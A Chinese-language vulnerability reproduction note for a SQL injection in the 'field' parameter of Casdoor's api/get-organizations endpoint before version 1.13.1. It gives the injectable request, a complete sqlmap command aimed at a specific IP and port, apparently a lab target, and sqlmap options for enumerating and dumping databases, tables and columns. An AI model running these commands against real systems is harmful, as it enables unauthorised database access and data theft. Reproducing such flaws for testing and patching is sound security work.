一、漏洞概述
Casdoor 是一个基于 OAuth 2.0 / OIDC 的 UI 优先集中认证 / 单点登录 (SSO) 平台,简单点说,就是 Casdoor 可以帮你解决 用户管理 的难题,你无需开发用户登录注册等与用户鉴权相关的一系列功能,只需几个步骤,简单配置,与你的主应用配合,便可完全托管你的用户模块,简单省心,功能强大。Casdoor 1.13.1 之前的查询API 存在与字段和值参数相关的SQL 注入漏洞,如api/get-organizations 所示。
二、影响范围
Casdoor 1.13.1 之前版本
三、访问页面
四、漏洞复现
1、访问接口
/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=1
2、使用sqlmap跑注入点
sqlmap.py -u "http://123.58.224.8:60317/api/get-organizations?p=123&pageSize=123&value=cfx&sortField=&sortOrder=&field=1" --delay=0 --timeout=30 --retries=0 --level=3 --risk=1 --threads=1 --time-sec=5 --technique=BEUSTQ -b --batch --answers="crack=N,dict=N,continue=Y,quit=N"
3、发现field可注入
sqlmap常用命令:
1、--dbs 获取数据库
2、--tables 获取数据库中所有的表
3、--columns 参数用来获取字段
4、--dump 获取值
-D '数据库名' -T '表名' -C '字段名1,字段名2' --dump